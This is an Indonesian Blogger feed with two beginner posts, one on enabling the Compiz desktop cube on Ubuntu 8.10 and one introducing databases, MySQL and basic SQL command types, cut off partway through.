<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3273247535505995851</id><updated>2011-07-08T18:04:23.219+07:00</updated><title type='text'>Blog Punya Budi</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://budiastika.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3273247535505995851/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://budiastika.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>budiastika</name><uri>http://www.blogger.com/profile/11854144096219803105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_CghXPsJoC_0/SSFIaP2ki1I/AAAAAAAAAAs/OOcyJQZ3iyI/S220/Picture+001.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>11</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3273247535505995851.post-4726543251581473611</id><published>2008-11-07T15:26:00.004+07:00</published><updated>2008-11-07T15:52:54.542+07:00</updated><title type='text'>Tampilan Cube pada Ubuntu</title><content type='html'>&lt;div&gt; &lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_CghXPsJoC_0/SRP84G-uHHI/AAAAAAAAAAk/DEnwssyVK8g/s1600-h/cube+1"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_CghXPsJoC_0/SRP84G-uHHI/AAAAAAAAAAk/DEnwssyVK8g/s320/cube+1" alt="" id="BLOGGER_PHOTO_ID_5265830430202797170" border="0" /&gt;&lt;/a&gt;&lt;span style="font-size:85%;"&gt;Maukah Tampilan Ubuntu anda seperti ini?&lt;/span&gt;&lt;/div&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Syaratnya, driver vga anda harus sudah berjalan dengan baik, dan sudah melakukan instalasi compiz, untuk lebih lanjut disini hanya akan membahas instalasi compiz. Untuk tambahan disini saya memakai ubuntu 8.10. Ok.. ayu kita lakukan&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;untuk dapat melakukan instalasi compiz kita tambahkan source list dulu&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="codeblock"&gt;&lt;span style="font-size:85%;"&gt;&lt;blockquote&gt;gksu gedit /etc/apt/sources.list&lt;/blockquote&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;dan taruh hal berikut paling bawah&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="codeblock"&gt;&lt;span style="font-size:85%;"&gt;&lt;blockquote&gt;deb http://ppa.launchpad.net/compiz/ubuntu hardy main&lt;/blockquote&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Simpan  dan tutup.&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Untuk  install  Compiz setting manager :&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="codeblock"&gt;&lt;span style="font-size:85%;"&gt;&lt;blockquote&gt;sudo apt-get install compizconfig-settings-manager&lt;/blockquote&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Setelah selesai, anda setting Compiz Setting Manager melalui &lt;em&gt;System-&gt;Preferences-&gt;CompizConfig Settings Manager&lt;/em&gt;.&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;Pada&lt;span style="font-size:85%;"&gt; &lt;em&gt;General Options&lt;/em&gt; ,pilih &lt;em&gt;Desktop Size&lt;/em&gt; tab. Set  &lt;em&gt;Horizontal virtual size&lt;/em&gt;jadi &lt;strong&gt;4&lt;/strong&gt;. Click &lt;em&gt;Back&lt;/em&gt;.&lt;/span&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Kemudian, pilih katagori Dekstop dan aktifkan &lt;em&gt;Desktop Cube&lt;/em&gt; and &lt;em&gt;Rotate Cube&lt;/em&gt;. Jika anda menggunakan &lt;em&gt;Desktop Wall&lt;/em&gt;, Anda akan menonaktifkannya dahulu.&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Kemudian, pilih katagori efects dan aktifkan&lt;/span&gt;&lt;span style="font-size:85%;"&gt; &lt;em&gt;Cube Reflection and Deformation&lt;/em&gt;.  Click pada &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;em&gt;Cube Reflection and Deformation untuk&lt;/em&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt; konfigurasi. Di bawah &lt;em&gt;Deformation&lt;/em&gt; tab, &lt;span style="font-style: italic;"&gt;pilih &lt;/span&gt;&lt;em&gt;Cylinder&lt;/em&gt; atau &lt;em&gt;Sphere&lt;/em&gt; under the Deformation dropdown box Click &lt;em&gt;Back&lt;/em&gt;. Click &lt;em&gt;Close&lt;/em&gt;.&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Kembali ke desktop anda, Tekan &lt;em&gt;Ctrl + Alt + mouse left button&lt;/em&gt; untuk mengaktifkan desktop rotation mode. Dan anda akan melihat hasilnya.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3273247535505995851-4726543251581473611?l=budiastika.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://budiastika.blogspot.com/feeds/4726543251581473611/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://budiastika.blogspot.com/2008/11/tampilan-cube-pada-ubuntu.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3273247535505995851/posts/default/4726543251581473611'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3273247535505995851/posts/default/4726543251581473611'/><link rel='alternate' type='text/html' href='http://budiastika.blogspot.com/2008/11/tampilan-cube-pada-ubuntu.html' title='Tampilan Cube pada Ubuntu'/><author><name>budiastika</name><uri>http://www.blogger.com/profile/11854144096219803105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_CghXPsJoC_0/SSFIaP2ki1I/AAAAAAAAAAs/OOcyJQZ3iyI/S220/Picture+001.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_CghXPsJoC_0/SRP84G-uHHI/AAAAAAAAAAk/DEnwssyVK8g/s72-c/cube+1' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3273247535505995851.post-4774145024839555002</id><published>2008-11-05T10:21:00.001+07:00</published><updated>2008-11-05T10:21:09.307+07:00</updated><title type='text'>Memahami Database MySQL</title><content type='html'>&lt;span xmlns=''&gt;&lt;p&gt;&lt;br /&gt; &lt;/p&gt;&lt;p&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;&lt;strong&gt;Database&lt;/strong&gt; secara mudah dapat kita sebut sebagai gudang data. Secara teori, database adalah kumpulan data atau informasi yang kompleks, data-data tersebut disusun menjadi beberapa kelompok dengan tipe data yang sejenis (disebut tabel), di mana setiap datanya dapat saling berhubungan satu sama lain atau dapat berdiri sendiri, sehingga mudah diakses.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;&lt;strong&gt;Program Pengelola Database&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Dalam basis data, database dapat kita kelola menggunakan program aplikasi basis data, misalnya: MySQL, Access, PostgreSQL, dan SQL Server.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Aplikasi yang dapat membuat dan mengelola database sering disebut SMBD (Sistem Manajemen Basis Data) atau &lt;em&gt;DBMS (Data Base Manajemen System&lt;/em&gt;).&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Ada dua perbedaan SMBD (Sistem Manajemen Basis Data) yang sering kita gunakan, yaitu database yang bersifat &lt;em&gt;Stand Alone&lt;/em&gt; dan database yang bersifat &lt;em&gt;Database Server&lt;/em&gt;. Berikut ini, pengkategoriannya:&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;&lt;strong&gt;Database Server &lt;/strong&gt;(berjalan client/server):&lt;strong&gt;&lt;br /&gt;							&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;MySQL &lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;MsQL&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;PostgreSQL&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;SQL Server&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Oracle&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Interbase, dan lain-lain.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br /&gt; &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;&lt;strong&gt;Bukan Database Server&lt;/strong&gt; (berjalan &lt;em&gt;stand alone&lt;/em&gt;):&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Mircrosoft Access&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Paradox&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;dBase, dan lain-lain.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;&lt;strong&gt;Database Server MySQL&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;MySQL merupakan database &lt;em&gt;server&lt;/em&gt; yang awalnya hanya berjalan pada sistem Unix dan Linux. Seiring berjalannya waktu dan banyaknya peminat yang menggunakan database ini, MySQL merilis versi yang dapat diinstal pada hampir semua platform, termasuk Windows.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Lisensi dari MySQL adalah &lt;em&gt;freeware&lt;/em&gt;. Kita dapat mendownload dan menggunakannya tanpa harus membayarnya. Meskipun kita menjual produk menyertakan software MySQL, kita tidak melanggar hak cipta. &lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Pada buku ini, semua contoh latihan menggunakan MySQL server versi 5.0.x. Anda dapat mendapatkan versi terbaru dari MySQL pada alamat website &lt;a href='http://www.mysql.com'&gt;www.mysql.com&lt;/a&gt;. &lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;&lt;strong&gt;Sebutan Umum Database Server&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Umumnya, orang menyebut database seperti MySQL, PostgreSQL, atau yang lainnya dengan sebutan &lt;em&gt;Database Server&lt;/em&gt; saja. Namun, ada beberapa orang yang menyebutnya dengan istilah &lt;em&gt;Database Enggine&lt;/em&gt;, &lt;em&gt;Mesin Database&lt;/em&gt;, SMBD, DBMS, &lt;em&gt;Back End,&lt;/em&gt; ataupun langsung menyebut dengan program database saja. Sebenarnya, beberapa istilah tersebut sama, terserah Anda saja untuk menyebutnya.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;&lt;strong&gt;Keterkatian MySQL dan SQL&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Mungkin bagi Anda yang baru pertama dengan MySQL akan bingung dengan dua kata "SQL" dan "MySQL". Pertanyaan yang mungkin muncul adalah, ini satu atau dua bentuk aplikasi? Yah... saya bisa memaklumi munculnya pertanyaan tersebut, sama dengan yang ada di benak saya pada saat mulai mengenal MySQL.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Bagi Anda yang sebelumnya sudah pernah belajar atau sudah pernah membaca buku basis data, mungkin Anda akan mendapatkan pembahasan khusus mengenai SQL pada bagian akhir buku tersebut. Apakah SQL itu sebenarnya, dan apa bedanya dengan MySQL itu sendiri?&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Baiklah, SQL merupakan kependekan dari kata "&lt;em&gt;Structured Query Language&lt;/em&gt;". SQL merupakan suatu bahasa permintaan yang terstruktur. Kenapa terstruktur? Karena pada penggunaannya, SQL memiliki beberapa aturan yang telah distandarkan oleh asosiasi yang bernama ANSI.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Jadi, SQL adalah bahasa permintaan yang melekat pada satu database atau SMBD tertentu, sedangkan MySQL merupakan database server-nya. Dengan kata lain, MySQL merupakan SMBD-nya dan SQL adalah perintah atau bahasa yang melekat di dalam SMBD tersebut.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Sebagai suatu bahasa permintaan, SQL tidak hanya melekat pada MySQL server saja, tetapi juga didukung oleh SMBD lainnya seperti MsQL, PostgreSQL, Interbase, dan Oracle. Selain itu, SQL juga didukung oleh database bukan server seperti MS Access maupun Paradox.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;h2&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Tingkatan Aplikasi Database&lt;br /&gt;&lt;/span&gt;&lt;/h2&gt;&lt;p&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Apabila kita kategorikan, aplikasi yang akan kita buat dapat dibedakan menjadi tiga, yaitu: berbasis Stand Alone, Multy User, dan Client/Server. &lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;&lt;strong&gt;Aplikasi Database Berbasis Stand Alone&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Aplikasi yang berjalan &lt;strong&gt;Stand Alone&lt;/strong&gt; adalah aplikasi yang hanya berjalan pada satu komputer dan hanya mampu diakses oleh satu orang dalam satu waktu. &lt;strong&gt;Database&lt;/strong&gt;&lt;br /&gt;					&lt;em&gt;(Back End)&lt;/em&gt; berserta program aplikasinya &lt;em&gt;(Front End)&lt;/em&gt; berada dalam satu komputer, dan pengguna mengaksesnya dalam waktu dan tempat yang sama. &lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Biasanya, aplikasi seperti ini, kita buat untuk menangani pengolahan data atau sistem informasi yang lingkupnya kecil. Database yang sering digunakan adalah MS Access, Paradox, dBase, dan FoxPro. Sedangkan program aplikasinya bebas menggunakan apa saja, seperti Visual Basic,  Delphi, atau CPP.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;&lt;strong&gt;Aplikasi Database Berbasis Multi User&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Aplikasi yang berbasis &lt;strong&gt;Multi User&lt;/strong&gt; artinya program tersebut dapat digunakan oleh banyak pengguna dalam satu waktu dan dalam tempat yang berbeda.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Isitilah &lt;em&gt;Multi User&lt;/em&gt; di atas memang sangat familiar dengan bahasa kita, yaitu banyak pengguna. Pada prinsipnya, program yang dibuat hampir sama dengan jenis sebelumnya atau jenis &lt;em&gt;Stand Alone&lt;/em&gt;. Hanya saja, pada aplikasi yang berbasis Multi User, databasenya dapat diakses secara bersama dalam satu waktu oleh 2 orang atau lebih.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Konsepnya sangat sederhana, dengan cara membuat sebuah aplikasi Stand Alone, kemudian database-nya kita &lt;em&gt;Sharing&lt;/em&gt; (bagi pakai) kepada komputer lain yang hendak mengakses database tersebut. Database yang dapat digunakan sama, yaitu: MS Access, dBase, dan Paradox.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;&lt;strong&gt;Aplikasi Database Berbasis Client/Server&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Untuk membuat aplikasi yang berbasis &lt;strong&gt;Client/Server&lt;/strong&gt;, kita pasti membutuhkan aplikasi database yang bertindak sebagai &lt;strong&gt;Server&lt;/strong&gt; (pusat) data dan komputer yang dijadikan sebagai &lt;strong&gt;Client&lt;/strong&gt; (pengakses). Sehingga dalam aplikasi ini, kita harus menggunakan database server sebagai media penyimpanan datanya.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Dari kemampuan datanya, aplikasi yang berbasis &lt;em&gt;Client/Server&lt;/em&gt; tentu memiliki kemampuan, data dapat diakses oleh dua orang atau lebih dalam satu waktu.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Yang membedakan antara aplikasi &lt;em&gt;Multi Use&lt;/em&gt;r dan &lt;em&gt;Client Server&lt;/em&gt; sebagai berikut:&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Aplikasi Multi User belum tentu Client/Server.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Aplikasi Client/Server pasti juga berbasis Multi User.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Aplikasi Multi User sifat databasenya hanya di-&lt;em&gt;sharing&lt;/em&gt; (bagi pemakaian/ pemakaian bersama-sama).&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Aplikasi Client/Server sifat databasenya berjalan dalam jaringan dengan sistem Remote.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Aplikasi Multi User dapat menggunakan SMBD biasa, yaitu Access, Paradox, atau dBase.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Aplikasi Client/Server, databasenya harus berbasis Database Server, seperti MySQL, dan PostgreSQL.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Aplikasi Multi User tidak terjamin keamanan datanya.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Aplikasi Client/Server sangat terjamin keamanan datanya, karena mampu menangani autentifikasi user.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;p style='margin-left: 6pt'&gt;&lt;h2&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Memahami Perintah SQL&lt;br /&gt;&lt;/span&gt;&lt;/h2&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;Telah dikatakan sebelumnya bahwa SQL merupakan sebuah bahasa perimintaan yang melekat pada suatu SMBD termasuk MySQL. Perintahnya dapat kita sebut dengan query. Dalam penggunaannya, perintah SQL dikategorikan menjadi tiga sub perintah, yaitu &lt;strong&gt;DDL&lt;/strong&gt;&lt;em&gt; (Data Definition Language), &lt;/em&gt;&lt;strong&gt;DML&lt;/strong&gt;&lt;em&gt; (Data Manipulation Language,) &lt;/em&gt;dan&lt;em&gt;&lt;br /&gt;					&lt;/em&gt;&lt;strong&gt;DCL&lt;/strong&gt;&lt;em&gt; (Data Control Language)&lt;/em&gt;. &lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;&lt;strong&gt;Data Definition Language (DDL)&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;&lt;strong&gt;Data Definition Language (DDL)&lt;/strong&gt; merupakan sub bahasa SQL yang digunakan untuk membangun kerangka database. Ada tiga perintah yang termasuk dalam DDL, yaitu:&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;&lt;strong&gt;CREATE :&lt;/strong&gt; Perintah ini digunakan untuk membuat, termasuk di antaranya membuat database baru, tabel baru, view baru, dan kolom.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;&lt;strong&gt;ALTER    :&lt;/strong&gt; Perintah ini digunakan untuk mengubah struktur tabel yang telah dibuat. Pekerjaannya mencakup mengganti nama tabel, menambah kolom, mengubah kolom, menghapus kolom, maupun memberikan atribut pada kolom.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;&lt;strong&gt;DROP    :&lt;/strong&gt; Perintah ini digunakan untuk menghapus database dan tabel.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ol&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;&lt;strong&gt;Data Manipulation Language (DML)&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;&lt;strong&gt;Data Manipulation Language&lt;/strong&gt; (&lt;strong&gt;DML) &lt;/strong&gt;merupakan sub bahasa SQL yang digunakan untuk memanipulasi data dalam database yang telah terbuat. Perintah yang digunakan, di antaranya:&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;&lt;strong&gt;INSERT        :&lt;/strong&gt; Perintah ini digunakan untuk menyisipkan atau memasukkan data baru ke dalam tabel. Penggunaannya setelah database dan tabel selesai dibuat.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;&lt;strong&gt;SELECT    :&lt;/strong&gt; Perintah ini digunakan untuk mengambil data atau menampilkan data dari satu tabel atau beberapa tabel dalam relasi. Data yang diambil dapat kita tampilkan dalam layar prompt MySQL secara langsung maupun ditampilkan pada tampilan aplikasi.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;&lt;strong&gt;UPDATE    :&lt;/strong&gt; Perintah ini digunakan untuk memperbarui data lama menjadi data terkini. Jika Anda memiliki data yang salah atau kurang &lt;em&gt;up to date&lt;/em&gt; dengan kondisi sekarang, maka dapat diubah isi datanya menggunakan perintah UPDATE.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;&lt;strong&gt;DELETE    :&lt;/strong&gt; Perintah ini digunakan untuk menghapus data dari tabel. Biasanya data yang dihapus merupakan data yang sudah tidak diperlukan lagi. Pada saat menghapus data, perintah yang telah dijalankan tidak dapat digagalkan, sehingga data yang telah hilang tidak dapat dikembalikan lagi.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ol&gt;&lt;li&gt;&lt;div style='text-align: justify'&gt;&lt;span style='font-family:Verdana; font-size:10pt'&gt;&lt;strong&gt;Data Control Language (DCL)&lt;br 